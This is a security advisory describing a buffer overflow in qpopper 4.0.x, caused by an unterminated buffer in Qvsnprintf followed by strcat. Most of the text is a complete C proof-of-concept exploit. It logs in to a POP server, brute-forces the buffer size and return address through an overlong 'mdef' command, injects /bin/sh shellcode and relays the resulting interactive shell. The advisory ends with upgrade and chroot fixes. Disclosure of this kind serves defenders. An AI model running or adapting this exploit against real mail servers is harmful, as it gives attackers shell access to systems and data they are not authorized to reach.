|
COMMAND Qpopper buffer overflow SYSTEMS AFFECTED qpopper-4.0.x where x < 5.rc2 PROBLEM Florian Heinz from Cronon AG [http://www.cronon.org] reported following buffer overflow on last recente version of QPopper [http://www.eudora.com/qpopper_general/]. Under certain conditions it is possible to execute arbitrary code using a buffer overflow in the recent qpopper. You need a valid username/password-combination and code is (depending on the setup) usually executed with the user's uid and gid mail. Explanation =========== Qualcomm provides their own vsnprintf-implementation Qvsnprintf(). This function is used unconditionally on any system, regardless if the system has its own vsnprintf(). The function correctly writes up to 'n' bytes into the buffer, but fails to null-terminate it, if buffer-space runs out while copying the format-string (so the obvious fix is, null-terminate the buffer in Qvsnprintf()). This is a problem in pop_msg() (popper/pop_msg.c). The call to Qvsnprintf() can leave the buffer 'message' unterminated, so the successive call to strcat (strcat(message,"\r\n")) writes somewhere into thew stack. What it exactly overwrites depends heavily on the individual binary and the current stack-data (where is the next null-byte). I successfully managed to execute arbitrary code using the 'mdef'-command with the binary in the most recent debian-package 'qpopper-4.0.4-8' Sending 'mdef <macroname>()' with a macro-name of about 1000 bytes fills the buffer leaving it unterminated. The strcat overwrites the least significant byte of the saved basepointer on the stack, now pointing inside the buffer. On return of pop_mdef() (file pop_extend.c), the return-address is now fetched from within our buffer (and of course pointing inside our buffer), allowing to, for example, spawn a shell. The Macroname may not include bytes causing isspace() to return true and, of course, no null-byte, so shellcode must be appropriate crafted. I have tested the qpopper from SuSE 8.1 too, the flaw exists too, but SuSE is more lucky, strcat doesn't overwrite critical values. I have not yet tested other distributions. Exploit ======= Here is a POC-exploit, Values for RETADDR and BUFSIZE adjusted for debian qpopper-4.0.4-8: /*****************************************************************************/ /* Exploit for qpopper 4.0.x */ /* (successfully tested with debian qpopper-4.0.4-8) */ /* Provide a valid username/password and get a shell with the user's rights */ /* and GID mail. */ /* Author: Florian Heinz <sky@dereference.de> */ /* */ /*****************************************************************************/ #include <sys/socket.h> #include <sys/select.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> char shellcode[] = "\x31\xc0" /* xor %eax, %eax */ "\x31\xdb" /* xor %ebx, %ebx */ "\xb0\x17" /* mov $0x17, %al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax, %eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x89\xe3" /* mov %esp,%ebx */ "\x50" /* push %eax */ "\x53" /* push %ebx */ "\x89\xe1" /* mov %esp,%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xb0\x08" /* mov $0x8,%al */ "\x40\x40\x40" /* inc %eax (3 times) */ "\xcd\x80"; /* int $0x80 */ #define BUFLEN 1006 #define RETLEN 148 #define RETADDR 0xbfffc004 void shell_io (fd) int fd; { fd_set fs; char buf[1000]; int len; while (1) { FD_ZERO(&fs); FD_SET(0, &fs); FD_SET(fd, &fs); select(fd+1, &fs, NULL, NULL, NULL); if (FD_ISSET(0, &fs)) { if ((len = read(0, buf, 1000)) <= 0) break; write(fd, buf, len); } else { if ((len = read(fd, buf, 1000)) <= 0) break; write(1, buf, len); } } } void send_mdef (fd, buflen, retaddr, rashift) int fd, buflen, rashift; unsigned int retaddr; { char buf[2000], *bp; int i; memset(buf, 0x90, 2000); memcpy(buf, "mdef ", 5); memcpy(buf + buflen - RETLEN - strlen(shellcode), shellcode, strlen(shellcode)); bp = (char *) (((unsigned int)(buf + buflen - RETLEN)) & 0xfffffffc); for (i = 0; i < RETLEN; i += 4) memcpy(bp+i+rashift, &retaddr, sizeof(int)); buf[buflen-2] = '('; buf[buflen-1] = ')'; buf[buflen] = '\n'; write(fd, buf, buflen+1); return; } int get_pop_reply (int fd, char *buf, int buflen) { int len; fd_set s; struct timeval tv; len = read (fd, buf, buflen); FD_ZERO(&s); FD_SET(fd, &s); tv.tv_sec = tv.tv_usec = 0; select(fd+1, &s, NULL, NULL, &tv); if (FD_ISSET(fd, &s)) len = read (fd, buf, buflen); if (len == 0) return 0; else if (!strncmp(buf, "-ERR ", 5)) return -1; else return len; } int open_pop(ip, user, pass) unsigned int ip; char *user, *pass; { struct sockaddr_in peer; int fd, st = 0; char buf[1024]; int state = 0; peer.sin_family = AF_INET; peer.sin_port = htons(110); peer.sin_addr.s_addr = ip; fd = socket(AF_INET, SOCK_STREAM, 0); if (fd < 0) { perror("socket"); exit(EXIT_FAILURE); } printf("Connecting to %s... ", inet_ntoa(peer.sin_addr)); fflush(stdout); if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) { perror("connect"); exit(EXIT_FAILURE); } printf("Logging in... "); fflush(stdout); while ((state < 3) && ((st = read(fd, buf, 1024)) > 0)) { if (!strncmp(buf, "+OK ", 4)) { switch (state) { case 0: snprintf(buf, 1024, "USER %s\n", user); write(fd, buf, strlen(buf)); state++; break; case 1: snprintf(buf, 1024, "PASS %s\n", pass); write(fd, buf, strlen(buf)); state++; break; case 2: state++; break; } } else if (!strncmp(buf, "-ERR ", 5)) { fprintf(stderr, "Could not log in. Did you provide a valid " "username/password-combination?\n"); break; } else { fprintf(stderr, "Invalid response from POP-Server:\n'%s'\n", buf); break; } } if (state < 3) { fprintf(stderr, "Exiting due to error...\n"); exit(EXIT_FAILURE); } else if (st < 0) { perror("read"); exit(EXIT_FAILURE); } else if (st == 0) { fprintf(stderr, "Peer closed...\n"); exit(EXIT_FAILURE); } return fd; } int main (argc, argv) int argc; char *argv[]; { char *host, *user, *pass; struct hostent *he; struct in_addr in; unsigned int ip, retaddr; int fd = -1, lbs, bs, ubs, found = 0, st; char buf[2000]; if (4 != argc) { fprintf(stderr, "Usage: %s <host> <user> <pass>\n\n", argv[0]); exit(EXIT_FAILURE); } host = argv[1]; user = argv[2]; pass = argv[3]; if (!inet_aton(host, &in)) { if (!(he = gethostbyname(host))) { herror("Resolving host"); exit(EXIT_FAILURE); } in.s_addr = *((unsigned int *)he->h_addr); } ip = in.s_addr; printf("Phase 1: Seeking buffer size\n"); lbs = 0; bs = BUFLEN; ubs = 2000; while (!found && (bs != lbs) && (bs != ubs)) { if (fd < 0) fd = open_pop(ip, user, pass); printf("Trying %d bytes... ", bs); fflush(stdout); send_mdef(fd, bs, 0x01010101, 0); sleep(1); switch ((st = get_pop_reply(fd, buf, 2000))) { case 0: found++; close(fd); fd = -1; break; case -1: printf("too long.\n"); ubs = bs; bs = (lbs+ubs)/2; break; default: if (st < bs) { printf("(slightly) too long.\n"); ubs = bs; bs = (lbs+ubs)/2; break; } else { printf("too short.\n"); lbs = bs; bs = (lbs+ubs)/2; break; } } } if (!found) { printf("Couldn't find correct buffersize...\n"); exit(EXIT_FAILURE); } printf("crash.\n"); while (found) { bs--; if (fd < 0) fd = open_pop(ip, user, pass); printf("Trying %d bytes... ", bs); fflush(stdout); send_mdef(fd, bs, 0x01010101, 0); sleep(1); if (get_pop_reply(fd, buf, 2000)) { printf("no crash\n"); bs += 4; bs = bs & 0xfffffffc; found = 0; } else { fd = -1; printf("crash\n"); } } printf("Optimal buffer size: %d\n\n", bs); printf("Phase 2: Find return address\n"); found = 0; retaddr = RETADDR; while (!found) { if (fd < 0) fd = open_pop(ip, user, pass); printf("Trying %x... ", retaddr); fflush(stdout); send_mdef(fd, bs, retaddr, 2); sleep(1); if (get_pop_reply(fd, buf, 2000)) { printf("no crash\n"); found = 1; } else { fd = -1; retaddr += ((bs - RETLEN - 10 - strlen(shellcode)) & 0xffffff00); printf("crash\n"); } if (retaddr > 0xbfffff00) break; } if (!found) { printf("Couldn't find a valid return address\n"); exit(EXIT_FAILURE); } write(fd, "uname -a\n", 9); st = read(fd, buf, 100); buf[st] = '\0'; if ((buf[0] != '-') && (buf[0] != '+')) { printf("We're in! (%s)\n", buf); shell_io(fd); } else printf("We failed...\n"); exit(EXIT_FAILURE); } SOLUTION use qpopper-4.0.5rc2 Jonathan A. Zdziarski suggested: Chrooting qpopper is also a good workaround, as well as good practice. Instructions can be found at http://www.networkdweebs.com/chroot.html